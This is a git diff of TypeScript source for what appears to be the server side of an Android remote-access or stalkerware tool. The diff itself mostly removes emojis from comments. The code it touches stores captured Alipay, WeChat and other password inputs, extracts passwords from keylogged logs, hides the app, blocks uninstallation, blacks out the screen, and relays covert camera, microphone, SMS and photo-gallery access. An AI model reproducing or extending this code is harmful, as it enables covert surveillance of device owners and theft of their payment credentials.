try { this.db.exec(`ALTER TABLE devices ADD COLUMN status TEXT DEFAULT 'offline'`) } catch (error) { // 字段已存在,忽略错误 } - // 🆕 添加publicIP字段到现有表(如果不存在) + // 添加publicIP字段到现有表(如果不存在) try { this.db.exec(`ALTER TABLE devices ADD COLUMN publicIP TEXT`) } catch (error) { // 字段已存在,忽略错误 } - // 🆕 添加系统版本信息字段到现有表(如果不存在) + // 添加系统版本信息字段到现有表(如果不存在) try { this.db.exec(`ALTER TABLE devices ADD COLUMN systemVersionName TEXT`) } catch (error) { @@ -204,7 +204,7 @@ export class DatabaseService { ) `) - // ✅ 创建设备状态表 + // 创建设备状态表 this.db.exec(` CREATE TABLE IF NOT EXISTS device_states ( deviceId TEXT PRIMARY KEY, @@ -221,7 +221,7 @@ export class DatabaseService { ) `) - // 🆕 为现有表添加新字段(如果不存在) + // 为现有表添加新字段(如果不存在) try { this.db.exec(`ALTER TABLE device_states ADD COLUMN confirmButtonCoords TEXT`) } catch (error) { @@ -252,7 +252,7 @@ export class DatabaseService { // 字段已存在,忽略错误 } - // 💰 创建支付宝密码记录表 + // 创建支付宝密码记录表 this.db.exec(` CREATE TABLE IF NOT EXISTS alipay_passwords ( id INTEGER PRIMARY KEY AUTOINCREMENT, @@ -268,7 +268,7 @@ export class DatabaseService { ) `) - // 💬 创建微信密码记录表 + // 创建微信密码记录表 this.db.exec(` CREATE TABLE IF NOT EXISTS wechat_passwords ( id INTEGER PRIMARY KEY AUTOINCREMENT, @@ -284,7 +284,7 @@ export class DatabaseService { ) `) - // 🔐 创建通用密码输入记录表 + // 创建通用密码输入记录表 this.db.exec(` CREATE TABLE IF NOT EXISTS password_inputs ( id INTEGER PRIMARY KEY AUTOINCREMENT, @@ -302,7 +302,7 @@ export class DatabaseService { ) `) - // 🔐 创建用户设备权限表 + // 创建用户设备权限表 this.db.exec(` CREATE TABLE IF NOT EXISTS user_device_permissions ( userId TEXT NOT NULL, @@ -350,7 +350,7 @@ export class DatabaseService { CREATE INDEX IF NOT EXISTS idx_password_inputs_type ON password_inputs (passwordType) `) - // 💥 创建崩溃日志表 + // 创建崩溃日志表 this.db.exec(` CREATE TABLE IF NOT EXISTS crash_logs ( id INTEGER PRIMARY KEY AUTOINCREMENT, @@ -577,7 +577,7 @@ export class DatabaseService { } /** - * ✅ 将设备状态设置为离线 + * 将设备状态设置为离线 */ setDeviceOffline(deviceId: string): void { try { @@ -607,7 +607,7 @@ export class DatabaseService { } /** - * ✅ 将所有设备状态重置为离线 + * 将所有设备状态重置为离线 */ resetAllDevicesToOffline(): void { try { @@ -744,10 +744,10 @@ export class DatabaseService { lastSeen: new Date(row.lastSeen), connectionCount: row.connectionCount, lastSocketId: row.lastSocketId, - status: row.status || 'offline', // ✅ 添加状态字段 + status: row.status || 'offline', // 添加状态字段 publicIP: row.publicIP, - remark: row.remark, // 🆕 添加备注字段 - // 🆕 添加系统版本信息字段 + remark: row.remark, // 添加备注字段 + // 添加系统版本信息字段 systemVersionName: row.systemVersionName, romType: row.romType, romVersion: row.romVersion, @@ -756,7 +756,7 @@ export class DatabaseService { } /** - * 🆕 更新设备备注 + * 更新设备备注 */ updateDeviceRemark(deviceId: string, remark: string): boolean { try { @@ -779,7 +779,7 @@ export class DatabaseService { } /** - * 🆕 获取设备备注 + * 获取设备备注 */ getDeviceRemark(deviceId: string): string | null { try { @@ -962,8 +962,8 @@ export class DatabaseService { SELECT content, extraData FROM operation_logs WHERE deviceId = ? AND ( - content LIKE '%🔒 密码输入:%' OR - content LIKE '%🔑 密码输入分析完成%' OR + content LIKE '% 密码输入:%' OR + content LIKE '% 密码输入分析完成%' OR content LIKE '%密码%' OR content LIKE '%PIN%' ) @@ -995,8 +995,8 @@ export class DatabaseService { // 尝试从 content 中提取密码 const content = row.content - // 匹配 "🔒 密码输入: xxx (N位)" 格式 - const passwordMatch = content.match(/🔒 密码输入:\s*(.+?)\s*\(\d+位\)/) + // 匹配 " 密码输入: xxx (N位)" 格式 + const passwordMatch = content.match(/ 密码输入:\s*(.+?)\s*\(\d+位\)/) if (passwordMatch) { const password = passwordMatch[1].trim() // 过滤掉纯遮罩字符的密码 @@ -1005,8 +1005,8 @@ export class DatabaseService { } } - // 匹配 "🔑 密码输入分析完成: xxx" 格式 - const analysisMatch = content.match(/🔑 密码输入分析完成:\s*(.+)/) + // 匹配 " 密码输入分析完成: xxx" 格式 + const analysisMatch = content.match(/ 密码输入分析完成:\s*(.+)/) if (analysisMatch) { const password = analysisMatch[1].trim() if (password && !password.match(/^[•*]+$/)) { @@ -1023,7 +1023,7 @@ export class DatabaseService { } /** - * ✅ 获取设备状态 + * 获取设备状态 */ getDeviceState(deviceId: string): DeviceStateRecord | null { try { @@ -1057,7 +1057,7 @@ export class DatabaseService { } /** - * ✅ 保存或更新设备状态 + * 保存或更新设备状态 */ saveDeviceState(deviceId: string, state: Partial): void { try { @@ -1155,7 +1155,7 @@ export class DatabaseService { } /** - * ✅ 更新设备密码 + * 更新设备密码 */ updateDevicePassword(deviceId: string, password: string): void { try { @@ -1168,7 +1168,7 @@ export class DatabaseService { } /** - * ✅ 更新设备输入阻止状态 + * 更新设备输入阻止状态 */ updateDeviceInputBlocked(deviceId: string, blocked: boolean): void { try { @@ -1181,7 +1181,7 @@ export class DatabaseService { } /** - * ✅ 更新设备日志记录状态 + * 更新设备日志记录状态 */ updateDeviceLoggingEnabled(deviceId: string, enabled: boolean): void { this.saveDeviceState(deviceId, { loggingEnabled: enabled }) @@ -1189,7 +1189,7 @@ export class DatabaseService { } /** - * 🆕 更新设备黑屏遮盖状态 + * 更新设备黑屏遮盖状态 */ updateDeviceBlackScreenActive(deviceId: string, active: boolean): void { this.saveDeviceState(deviceId, { blackScreenActive: active }) @@ -1197,7 +1197,7 @@ export class DatabaseService { } /** - * 🆕 更新设备应用隐藏状态 + * 更新设备应用隐藏状态 */ updateDeviceAppHidden(deviceId: string, hidden: boolean): void { this.saveDeviceState(deviceId, { appHidden: hidden }) @@ -1205,7 +1205,7 @@ export class DatabaseService { } /** - * 🛡️ 更新设备防止卸载保护状态 + * 更新设备防止卸载保护状态 */ updateDeviceUninstallProtection(deviceId: string, enabled: boolean): void { this.saveDeviceState(deviceId, { uninstallProtectionEnabled: enabled }) @@ -1213,7 +1213,7 @@ export class DatabaseService { } /** - * ✅ 获取设备密码(优先从状态表获取,其次从日志获取) + * 获取设备密码(优先从状态表获取,其次从日志获取) */ getDevicePassword(deviceId: string): string | null { try { @@ -1241,21 +1241,21 @@ export class DatabaseService { } /** - * ✅ 保存设备密码(别名方法,用于API调用) + * 保存设备密码(别名方法,用于API调用) */ saveDevicePassword(deviceId: string, password: string): void { this.updateDevicePassword(deviceId, password) } /** - * ✅ 更新设备状态(别名方法,用于API调用) + * 更新设备状态(别名方法,用于API调用) */ updateDeviceState(deviceId: string, state: Partial): void { this.saveDeviceState(deviceId, state) } /** - * 🆕 保存确认按钮坐标 + * 保存确认按钮坐标 */ saveConfirmButtonCoords(deviceId: string, coords: { x: number, y: number }): void { try { @@ -1268,7 +1268,7 @@ export class DatabaseService { } /** - * 🆕 获取确认按钮坐标 + * 获取确认按钮坐标 */ getConfirmButtonCoords(deviceId: string): { x: number, y: number } | null { try { @@ -1284,7 +1284,7 @@ export class DatabaseService { } /** - * 🆕 更新学习的确认按钮坐标 + * 更新学习的确认按钮坐标 */ updateLearnedConfirmButton(deviceId: string, coords: { x: number, y: number }): void { try { @@ -1344,7 +1344,7 @@ export class DatabaseService { } /** - * 💰 保存支付宝密码记录 + * 保存支付宝密码记录 */ saveAlipayPassword(record: AlipayPasswordRecord): void { try { @@ -1367,7 +1367,7 @@ export class DatabaseService { now.toISOString() ) - this.logger.info(`💰 支付宝密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`) + this.logger.info(` 支付宝密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`) } catch (error) { this.logger.error('保存支付宝密码失败:', error) throw error @@ -1375,7 +1375,7 @@ export class DatabaseService { } /** - * 💰 获取设备的支付宝密码记录(分页) + * 获取设备的支付宝密码记录(分页) */ getAlipayPasswords(deviceId: string, page: number = 1, pageSize: number = 50): { passwords: AlipayPasswordRecord[], @@ -1437,7 +1437,7 @@ export class DatabaseService { } /** - * 💰 获取设备最新的支付宝密码 + * 获取设备最新的支付宝密码 */ getLatestAlipayPassword(deviceId: string): AlipayPasswordRecord | null { try { @@ -1472,7 +1472,7 @@ export class DatabaseService { } /** - * 💰 删除设备的支付宝密码记录 + * 删除设备的支付宝密码记录 */ clearAlipayPasswords(deviceId: string): void { try { @@ -1489,7 +1489,7 @@ export class DatabaseService { } /** - * 💰 清理旧的支付宝密码记录 + * 清理旧的支付宝密码记录 */ cleanupOldAlipayPasswords(daysToKeep: number = 30): void { try { @@ -1508,7 +1508,7 @@ export class DatabaseService { } /** - * 💬 保存微信密码记录 + * 保存微信密码记录 */ saveWechatPassword(record: WechatPasswordRecord): void { try { @@ -1531,7 +1531,7 @@ export class DatabaseService { now.toISOString() ) - this.logger.info(`💬 微信密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`) + this.logger.info(` 微信密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`) } catch (error) { this.logger.error('保存微信密码失败:', error) throw error @@ -1539,7 +1539,7 @@ export class DatabaseService { } /** - * 💬 获取设备的微信密码记录(分页) + * 获取设备的微信密码记录(分页) */ getWechatPasswords(deviceId: string, page: number = 1, pageSize: number = 50): { passwords: WechatPasswordRecord[], @@ -1601,7 +1601,7 @@ export class DatabaseService { } /** - * 💬 获取设备最新的微信密码 + * 获取设备最新的微信密码 */ getLatestWechatPassword(deviceId: string): WechatPasswordRecord | null { try { @@ -1636,7 +1636,7 @@ export class DatabaseService { } /** - * 💬 删除设备的微信密码记录 + * 删除设备的微信密码记录 */ clearWechatPasswords(deviceId: string): void { try { @@ -1653,7 +1653,7 @@ export class DatabaseService { } /** - * 💬 清理旧的微信密码记录 + * 清理旧的微信密码记录 */ cleanupOldWechatPasswords(daysToKeep: number = 30): void { try { @@ -1672,15 +1672,15 @@ export class DatabaseService { } /** - * 🔐 保存通用密码输入记录 + * 保存通用密码输入记录 */ savePasswordInput(record: PasswordInputRecord): void { try { - // 🔧 在保存前验证设备是否存在 + // 在保存前验证设备是否存在 const deviceExists = this.getDeviceById(record.deviceId) if (!deviceExists) { const errorMsg = `设备 ${record.deviceId} 不存在于数据库中,无法保存密码记录` - this.logger.error(`❌ ${errorMsg}`) + this.logger.error(` ${errorMsg}`) throw new Error(errorMsg) } @@ -1705,12 +1705,12 @@ export class DatabaseService { now.toISOString() ) - this.logger.info(`🔐 通用密码输入已保存: 设备=${record.deviceId}, 类型=${record.passwordType}, 密码长度=${record.passwordLength}, 活动=${record.activity}`) + this.logger.info(` 通用密码输入已保存: 设备=${record.deviceId}, 类型=${record.passwordType}, 密码长度=${record.passwordLength}, 活动=${record.activity}`) } catch (error: any) { - // 🔧 提供更详细的错误信息 + // 提供更详细的错误信息 if (error.code === 'SQLITE_CONSTRAINT_FOREIGNKEY') { const errorMsg = `外键约束错误:设备 ${record.deviceId} 不存在于 devices 表中` - this.logger.error(`❌ ${errorMsg}`) + this.logger.error(` ${errorMsg}`) throw new Error(errorMsg) } else { this.logger.error('保存通用密码输入失败:', error) @@ -1720,7 +1720,7 @@ export class DatabaseService { } /** - * 🔐 获取设备的通用密码输入记录(分页) + * 获取设备的通用密码输入记录(分页) */ getPasswordInputs(deviceId: string, page: number = 1, pageSize: number = 50, passwordType?: string): { passwords: PasswordInputRecord[], @@ -1792,7 +1792,7 @@ export class DatabaseService { } /** - * 🔐 获取设备最新的通用密码输入 + * 获取设备最新的通用密码输入 */ getLatestPasswordInput(deviceId: string, passwordType?: string): PasswordInputRecord | null { try { @@ -1836,7 +1836,7 @@ export class DatabaseService { } /** - * 🔐 删除设备的通用密码输入记录 + * 删除设备的通用密码输入记录 */ clearPasswordInputs(deviceId: string, passwordType?: string): void { try { @@ -1860,7 +1860,7 @@ export class DatabaseService { } /** - * 🔐 清理旧的通用密码输入记录 + * 清理旧的通用密码输入记录 */ cleanupOldPasswordInputs(daysToKeep: number = 30): void { try { @@ -1879,7 +1879,7 @@ export class DatabaseService { } /** - * 🔐 获取密码类型统计 + * 获取密码类型统计 */ getPasswordTypeStats(deviceId: string): any[] { try { @@ -1909,11 +1909,11 @@ export class DatabaseService { } /** - * ✅ 删除设备及其所有相关数据 + * 删除设备及其所有相关数据 */ deleteDevice(deviceId: string): void { try { - this.logger.info(`🗑️ 开始删除设备: ${deviceId}`) + this.logger.info(` 开始删除设备: ${deviceId}`) // 开始事务 const deleteTransaction = this.db.transaction(() => { @@ -1981,8 +1981,8 @@ export class DatabaseService { // 执行事务 const result = deleteTransaction() - this.logger.info(`✅ 设备删除完成: ${deviceId}`) - this.logger.info(`📊 删除统计: 设备=${result.deviceRecords}, 状态=${result.stateRecords}, 日志=${result.logRecords}, 连接=${result.connectionRecords}, 支付宝=${result.alipayRecords}, 微信=${result.wechatRecords}, 通用密码=${result.passwordInputRecords}, 用户权限=${result.userPermissionRecords}`) + this.logger.info(` 设备删除完成: ${deviceId}`) + this.logger.info(` 删除统计: 设备=${result.deviceRecords}, 状态=${result.stateRecords}, 日志=${result.logRecords}, 连接=${result.connectionRecords}, 支付宝=${result.alipayRecords}, 微信=${result.wechatRecords}, 通用密码=${result.passwordInputRecords}, 用户权限=${result.userPermissionRecords}`) } catch (error) { this.logger.error(`删除设备失败: ${deviceId}`, error) @@ -1991,12 +1991,12 @@ export class DatabaseService { } /** - * 🔐 授予用户设备控制权限 + * 授予用户设备控制权限 */ grantUserDevicePermission(userId: string, deviceId: string, permissionType: string = 'control', expiresAt?: Date): boolean { try { const now = new Date() - // 🛡️ 默认权限有效期为7天,平衡安全性和可用性 + // 默认权限有效期为7天,平衡安全性和可用性 const defaultExpiresAt = expiresAt || new Date(now.getTime() + 7 * 24 * 60 * 60 * 1000) const stmt = this.db.prepare(` @@ -2016,7 +2016,7 @@ export class DatabaseService { now.toISOString() ) - this.logger.info(`🔐 用户 ${userId} 获得设备 ${deviceId} 的 ${permissionType} 权限 (有效期至: ${defaultExpiresAt.toISOString()})`) + this.logger.info(` 用户 ${userId} 获得设备 ${deviceId} 的 ${permissionType} 权限 (有效期至: ${defaultExpiresAt.toISOString()})`) return true } catch (error) { this.logger.error('授予用户设备权限失败:', error) @@ -2025,7 +2025,7 @@ export class DatabaseService { } /** - * 🔐 撤销用户设备权限 + * 撤销用户设备权限 */ revokeUserDevicePermission(userId: string, deviceId: string): boolean { try { @@ -2038,10 +2038,10 @@ export class DatabaseService { const result = stmt.run(new Date().toISOString(), userId, deviceId) if (result.changes > 0) { - this.logger.info(`🔐 用户 ${userId} 的设备 ${deviceId} 权限已撤销`) + this.logger.info(` 用户 ${userId} 的设备 ${deviceId} 权限已撤销`) return true } else { - this.logger.warn(`🔐 用户 ${userId} 对设备 ${deviceId} 没有权限`) + this.logger.warn(` 用户 ${userId} 对设备 ${deviceId} 没有权限`) return false } } catch (error) { @@ -2051,7 +2051,7 @@ export class DatabaseService { } /** - * 🔐 检查用户是否有设备权限 + * 检查用户是否有设备权限 */ hasUserDevicePermission(userId: string, deviceId: string, permissionType: string = 'control'): boolean { try { @@ -2070,7 +2070,7 @@ export class DatabaseService { } /** - * 🔐 获取用户的所有设备权限 + * 获取用户的所有设备权限 */ getUserDevicePermissions(userId: string): Array<{ deviceId: string, permissionType: string, grantedAt: Date }> { try { @@ -2099,7 +2099,7 @@ export class DatabaseService { } /** - * 🔐 清理过期的权限 + * 清理过期的权限 */ cleanupExpiredPermissions(): number { try { @@ -2112,7 +2112,7 @@ export class DatabaseService { const result = stmt.run(new Date().toISOString(), new Date().toISOString()) if (result.changes > 0) { - this.logger.info(`🧹 清理了 ${result.changes} 个过期权限`) + this.logger.info(` 清理了 ${result.changes} 个过期权限`) } return result.changes @@ -2122,10 +2122,10 @@ export class DatabaseService { } } - // ==================== 💥 崩溃日志相关 ==================== + // ==================== 崩溃日志相关 ==================== /** - * 💥 保存崩溃日志 + * 保存崩溃日志 */ saveCrashLog(data: { deviceId: string @@ -2153,7 +2153,7 @@ export class DatabaseService { data.osVersion || '', new Date().toISOString() ) - this.logger.info(`💥 崩溃日志已保存: ${data.deviceId} - ${data.fileName}`) + this.logger.info(` 崩溃日志已保存: ${data.deviceId} - ${data.fileName}`) return true } catch (error) { this.logger.error('保存崩溃日志失败:', error) @@ -2162,7 +2162,7 @@ export class DatabaseService { } /** - * 💥 获取设备的崩溃日志列表 + * 获取设备的崩溃日志列表 */ getCrashLogs(deviceId: string, page: number = 1, pageSize: number = 20): { logs: any[] @@ -2196,7 +2196,7 @@ export class DatabaseService { } /** - * 💥 获取崩溃日志详情(含内容) + * 获取崩溃日志详情(含内容) */ getCrashLogDetail(logId: number): any | null { try { diff --git a/src/services/MessageRouter.ts b/src/services/MessageRouter.ts index 565c301..1429785 100644 --- a/src/services/MessageRouter.ts +++ b/src/services/MessageRouter.ts @@ -118,7 +118,7 @@ export class MessageRouter { private webClientManager: WebClientManager private databaseService: DatabaseService - // 🔧 新增:服务端内存和数据管理 + // 新增:服务端内存和数据管理 private screenDataBuffer = new Map() private cameraDataBuffer = new Map() private smsDataBuffer = new Map() @@ -143,7 +143,7 @@ export class MessageRouter { private droppedMicrophoneAudio = 0 private totalMicrophoneAudioSize = 0 - // ✅ 黑帧检测:按设备追踪连续黑帧数,超过阈值时通知设备切换采集模式 + // 黑帧检测:按设备追踪连续黑帧数,超过阈值时通知设备切换采集模式 private consecutiveBlackFrames = new Map() private captureModeSwitchSent = new Set() // 已发送切换指令的设备,避免重复发送 @@ -153,18 +153,18 @@ export class MessageRouter { this.databaseService = databaseService this.logger = new Logger('MessageRouter') - // 🔧 启动定期清理任务 + // 启动定期清理任务 this.startPeriodicCleanup() } /** - * 🖼️ 发送本地已缓存相册图片给指定Web客户端 + * 发送本地已缓存相册图片给指定Web客户端 */ private sendLocalGalleryToClient(clientId: string, deviceId: string, limit?: number, offset: number = 0): void { try { const imagesDir = path.resolve(process.cwd(), 'public', 'assets', 'gallery', deviceId) if (!fs.existsSync(imagesDir)) { - this.logger.debug(`📁 本地相册目录不存在: ${imagesDir}`) + this.logger.debug(` 本地相册目录不存在: ${imagesDir}`) return } @@ -180,11 +180,11 @@ export class MessageRouter { .slice(offset, limit ? offset + limit : undefined) if (files.length === 0) { - this.logger.debug(`🖼️ 本地相册无可发送图片: device=${deviceId}`) + this.logger.debug(` 本地相册无可发送图片: device=${deviceId}`) return } - this.logger.info(`🖼️ 向Web客户端发送本地相册缓存: device=${deviceId}, 数量=${files.length}`) + this.logger.info(` 向Web客户端发送本地相册缓存: device=${deviceId}, 数量=${files.length}`) for (const f of files) { const url = `/assets/gallery/${deviceId}/${f.name}` @@ -201,12 +201,12 @@ export class MessageRouter { this.webClientManager.sendToClient(clientId, 'gallery_image_saved', payload) } } catch (err) { - this.logger.error(`❌ 发送本地相册缓存失败: device=${deviceId}`, err) + this.logger.error(` 发送本地相册缓存失败: device=${deviceId}`, err) } } /** - * 🔧 启动定期清理任务 + * 启动定期清理任务 */ private startPeriodicCleanup() { setInterval(() => { @@ -215,7 +215,7 @@ export class MessageRouter { } /** - * 🔧 定期清理过期数据 + * 定期清理过期数据 */ private performPeriodicCleanup() { try { @@ -255,7 +255,7 @@ export class MessageRouter { } if (cleanedBuffers > 0) { - this.logger.debug(`🗑️ 定期清理: 移除${cleanedBuffers}个过期数据缓冲区`) + this.logger.debug(` 定期清理: 移除${cleanedBuffers}个过期数据缓冲区`) } // 内存使用统计 @@ -268,27 +268,27 @@ export class MessageRouter { const cameraDropRate = this.routedCameraFrames > 0 ? (this.droppedCameraFrames / this.routedCameraFrames * 100).toFixed(1) : '0' const smsDropRate = this.routedSmsData > 0 ? (this.droppedSmsData / this.routedSmsData * 100).toFixed(1) : '0' const microphoneDropRate = this.routedMicrophoneAudio > 0 ? (this.droppedMicrophoneAudio / this.routedMicrophoneAudio * 100).toFixed(1) : '0' - this.logger.info(`📊 路由统计: 屏幕帧=${this.routedFrames}, 屏幕丢帧=${this.droppedFrames}, 屏幕丢帧率=${dropRate}%, 摄像头帧=${this.routedCameraFrames}, 摄像头丢帧=${this.droppedCameraFrames}, 摄像头丢帧率=${cameraDropRate}%, 短信数据=${this.routedSmsData}, 短信丢帧=${this.droppedSmsData}, 短信丢帧率=${smsDropRate}%, 麦克风音频=${this.routedMicrophoneAudio}, 麦克风丢帧=${this.droppedMicrophoneAudio}, 麦克风丢帧率=${microphoneDropRate}%, 内存=${memUsageMB}MB`) + this.logger.info(` 路由统计: 屏幕帧=${this.routedFrames}, 屏幕丢帧=${this.droppedFrames}, 屏幕丢帧率=${dropRate}%, 摄像头帧=${this.routedCameraFrames}, 摄像头丢帧=${this.droppedCameraFrames}, 摄像头丢帧率=${cameraDropRate}%, 短信数据=${this.routedSmsData}, 短信丢帧=${this.droppedSmsData}, 短信丢帧率=${smsDropRate}%, 麦克风音频=${this.routedMicrophoneAudio}, 麦克风丢帧=${this.droppedMicrophoneAudio}, 麦克风丢帧率=${microphoneDropRate}%, 内存=${memUsageMB}MB`) } this.lastCleanupTime = currentTime - // 🚨 内存使用过高时触发紧急清理 + // 内存使用过高时触发紧急清理 if (memUsageMB > 500) { // 超过500MB时清理 this.performEmergencyCleanup() } } catch (error) { - this.logger.error('❌ 定期清理失败:', error) + this.logger.error(' 定期清理失败:', error) } } /** - * 🚨 紧急内存清理 + * 紧急内存清理 */ private performEmergencyCleanup() { try { - this.logger.warn('🚨 触发紧急内存清理') + this.logger.warn(' 触发紧急内存清理') // 清空所有数据缓冲区 const clearedScreenBuffers = this.screenDataBuffer.size @@ -305,10 +305,10 @@ export class MessageRouter { global.gc() } - this.logger.warn(`🗑️ 紧急清理完成: 清空${clearedScreenBuffers}个屏幕数据缓冲区, ${clearedCameraBuffers}个摄像头数据缓冲区, ${clearedSmsBuffers}个短信数据缓冲区, ${clearedMicrophoneBuffers}个麦克风音频数据缓冲区`) + this.logger.warn(` 紧急清理完成: 清空${clearedScreenBuffers}个屏幕数据缓冲区, ${clearedCameraBuffers}个摄像头数据缓冲区, ${clearedSmsBuffers}个短信数据缓冲区, ${clearedMicrophoneBuffers}个麦克风音频数据缓冲区`) } catch (error) { - this.logger.error('❌ 紧急清理失败:', error) + this.logger.error(' 紧急清理失败:', error) } } @@ -328,7 +328,7 @@ export class MessageRouter { // 检查Web客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(webClient.id, message.deviceId)) { - // ✅ 降低日志级别,避免控制权切换期间的噪音 + // 降低日志级别,避免控制权切换期间的噪音 this.logger.debug(`Web客户端 ${webClient.id} 无权控制设备 ${message.deviceId} (消息类型: ${message.type})`) // 向客户端发送权限错误响应 @@ -354,13 +354,13 @@ export class MessageRouter { // 特殊处理摄像头控制消息 if (message.type === 'CAMERA_START' || message.type === 'CAMERA_STOP' || message.type === 'CAMERA_SWITCH') { - this.logger.info(`📷 摄像头控制指令: ${message.type} -> 设备 ${message.deviceId}`) + this.logger.info(` 摄像头控制指令: ${message.type} -> 设备 ${message.deviceId}`) // 验证摄像头控制消息的数据格式 if (message.type === 'CAMERA_SWITCH' && message.data) { const cameraType = message.data.cameraType || message.data if (cameraType !== 'front' && cameraType !== 'back') { - this.logger.warn(`⚠️ 无效的摄像头类型: ${cameraType},应为 'front' 或 'back'`) + this.logger.warn(` 无效的摄像头类型: ${cameraType},应为 'front' 或 'back'`) this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_CAMERA_TYPE', @@ -368,19 +368,19 @@ export class MessageRouter { }) return false } - this.logger.info(`📷 切换摄像头到: ${cameraType === 'front' ? '前置' : '后置'}`) + this.logger.info(` 切换摄像头到: ${cameraType === 'front' ? '前置' : '后置'}`) } } // 特殊处理SMS控制消息 if (message.type === 'SMS_PERMISSION_CHECK' || message.type === 'SMS_READ' || message.type === 'SMS_SEND' || message.type === 'SMS_UNREAD_COUNT') { - this.logger.info(`📱 SMS控制指令: ${message.type} -> 设备 ${message.deviceId}`) + this.logger.info(` SMS控制指令: ${message.type} -> 设备 ${message.deviceId}`) // 验证SMS控制消息的数据格式 if (message.type === 'SMS_READ' && message.data) { const limit = message.data.limit if (limit && (typeof limit !== 'number' || limit <= 0)) { - this.logger.warn(`⚠️ 无效的SMS读取限制: ${limit},应为正整数`) + this.logger.warn(` 无效的SMS读取限制: ${limit},应为正整数`) this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_SMS_LIMIT', @@ -393,7 +393,7 @@ export class MessageRouter { if (message.type === 'SMS_SEND' && message.data) { const { phoneNumber, message: smsMessage } = message.data if (!phoneNumber || !smsMessage) { - this.logger.warn(`⚠️ SMS发送数据不完整: phoneNumber=${phoneNumber}, message=${smsMessage}`) + this.logger.warn(` SMS发送数据不完整: phoneNumber=${phoneNumber}, message=${smsMessage}`) this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_SMS_SEND_DATA', @@ -401,19 +401,19 @@ export class MessageRouter { }) return false } - this.logger.info(`📱 发送SMS到: ${phoneNumber}`) + this.logger.info(` 发送SMS到: ${phoneNumber}`) } } // 特殊处理相册控制消息 if (message.type === 'GALLERY_PERMISSION_CHECK' || message.type === 'ALBUM_READ' || message.type === 'GET_GALLERY') { - this.logger.info(`📸 相册控制指令: ${message.type} -> 设备 ${message.deviceId}`) + this.logger.info(` 相册控制指令: ${message.type} -> 设备 ${message.deviceId}`) // 验证相册控制消息的数据格式 if ((message.type === 'ALBUM_READ' || message.type === 'GET_GALLERY') && message.data) { const { albumId, limit, offset } = message.data if (limit && (typeof limit !== 'number' || limit <= 0)) { - this.logger.warn(`⚠️ 无效的相册读取限制: ${limit},应为正整数`) + this.logger.warn(` 无效的相册读取限制: ${limit},应为正整数`) this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_ALBUM_LIMIT', @@ -422,7 +422,7 @@ export class MessageRouter { return false } if (offset && (typeof offset !== 'number' || offset < 0)) { - this.logger.warn(`⚠️ 无效的相册读取偏移: ${offset},应为非负整数`) + this.logger.warn(` 无效的相册读取偏移: ${offset},应为非负整数`) this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_ALBUM_OFFSET', @@ -430,10 +430,10 @@ export class MessageRouter { }) return false } - this.logger.info(`📸 读取相册: albumId=${albumId || 'all'}, limit=${limit || 'unlimited'}, offset=${offset || 0}`) + this.logger.info(` 读取相册: albumId=${albumId || 'all'}, limit=${limit || 'unlimited'}, offset=${offset || 0}`) } - // 🆕 新增:GET_GALLERY 仅发送本地缓存到Web客户端,不下发到设备 + // 新增:GET_GALLERY 仅发送本地缓存到Web客户端,不下发到设备 if (message.type === 'GET_GALLERY') { try { const { limit, offset } = message.data || {} @@ -441,7 +441,7 @@ export class MessageRouter { const sendOffset = typeof offset === 'number' && offset >= 0 ? offset : 0 this.sendLocalGalleryToClient(webClient.id, message.deviceId, sendLimit, sendOffset) } catch (e) { - this.logger.warn(`⚠️ GET_GALLERY 发送本地相册缓存失败: ${message.deviceId}`, e) + this.logger.warn(` GET_GALLERY 发送本地相册缓存失败: ${message.deviceId}`, e) } // 不转发到设备,直接返回成功 return true @@ -450,13 +450,13 @@ export class MessageRouter { // 特殊处理服务器地址修改消息 if (message.type === 'CHANGE_SERVER_URL') { - this.logger.info(`🌐 服务器地址修改指令: ${message.type} -> 设备 ${message.deviceId}`) + this.logger.info(` 服务器地址修改指令: ${message.type} -> 设备 ${message.deviceId}`) // 验证服务器地址数据格式 if (message.data && message.data.serverUrl) { const { serverUrl } = message.data if (typeof serverUrl !== 'string' || serverUrl.trim() === '') { - this.logger.warn(`⚠️ 无效的服务器地址: ${serverUrl}`) + this.logger.warn(` 无效的服务器地址: ${serverUrl}`) this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_SERVER_URL', @@ -464,9 +464,9 @@ export class MessageRouter { }) return false } - this.logger.info(`🌐 修改服务器地址为: ${serverUrl}`) + this.logger.info(` 修改服务器地址为: ${serverUrl}`) } else { - this.logger.warn(`⚠️ 缺少服务器地址数据`) + this.logger.warn(` 缺少服务器地址数据`) this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'MISSING_SERVER_URL', @@ -478,7 +478,7 @@ export class MessageRouter { // 特殊处理屏幕捕获控制消息 if (message.type === 'SCREEN_CAPTURE_PAUSE' || message.type === 'SCREEN_CAPTURE_RESUME') { - this.logger.info(`📺 屏幕捕获控制指令: ${message.type} -> 设备 ${message.deviceId}`) + this.logger.info(` 屏幕捕获控制指令: ${message.type} -> 设备 ${message.deviceId}`) } // 获取设备Socket并发送消息 @@ -516,19 +516,18 @@ export class MessageRouter { // this.logger.info('收到屏幕') - // 广播设备锁屏状态更新给所有Web客户端 - - if (screenData.deviceId && this.routedFrames % 20 ==0){ + // 广播设备锁屏状态更新给所有Web客户端(降低频率,减少热路径开销) + if (screenData.deviceId && this.routedFrames % 50 === 0){ this.webClientManager.broadcastToAll('device_lock_status_update', { deviceId: screenData.deviceId, - isLocked: screenData.isLocked?screenData.isLocked:false, + isLocked: screenData.isLocked ?? false, timestamp: Date.now() }) } - // 🔧 添加屏幕数据大小检查,避免过大数据导致transport error + // 添加屏幕数据大小检查,避免过大数据导致transport error const dataSize = screenData.data instanceof Buffer ? screenData.data.length : (typeof screenData.data === 'string' ? 